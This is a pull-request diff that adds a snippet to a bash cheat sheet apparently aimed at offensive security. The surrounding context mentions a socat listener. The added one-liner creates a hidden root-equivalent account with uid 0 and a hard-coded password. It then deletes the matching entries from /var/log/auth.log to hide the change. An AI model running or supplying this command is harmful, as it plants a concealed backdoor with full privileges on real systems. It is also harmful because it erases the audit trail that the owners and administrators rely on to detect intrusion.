Merge pull request #85 from oXis/patch-1

Add one line root useradd

scripting/bash.md

@@ -127,6 +127,11 @@ I find this best works with a socat listener due to the readline support.
 socat readline TCP-LISTEN:1234
 ```
 
+**One line root useradd**
+It creates a new root user. You have to change some parameters.
+```bash
+USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here" && sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 --non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' /var/log/auth.log
+```
 
 Credits
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